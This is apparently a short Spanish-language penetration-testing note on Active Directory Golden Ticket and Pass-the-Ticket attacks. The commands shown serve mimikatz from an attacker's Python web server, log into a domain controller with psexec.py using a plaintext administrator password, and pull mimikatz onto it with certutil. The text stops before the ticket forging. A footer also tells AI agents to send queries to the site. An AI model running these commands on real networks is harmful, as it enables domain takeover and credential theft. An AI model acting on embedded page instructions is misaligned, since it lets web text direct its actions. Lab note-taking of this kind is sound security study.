# Golden Ticket & Pass The Ticket (PTT)

1º En mi maquina de atacante, localizo el mimikatz.exe 2º Copiamos al directorio en el que estemos 3º Levanto un sever web con python

```bash
locate mimikatz.exe
	/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
	/usr/share/windows-resources/mimikatz/x64/mimikatz.exe

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .

sudo pyhton3 -m http.server 80
```

Ahora, desde otra terminal me conecto con `psexec.py` al usuario con credenciales

```
psexec.py deimcorp.local/Administrador:P@ssw0rd\!@100.100.100.138 cmd.exe
```

> Hay que escapar con `\` algunos caracteres especiales

Y ahora me transfiero el desde el DC, el `mimikaz.exe` que comparto

```
certutil.exe -f -urlcache -split http://100.100.100.131/mimikatz.exe mimikatz.exe
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/windows-hardening/ad-active-directory/golden-ticket-and-pass-the-ticket-ptt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
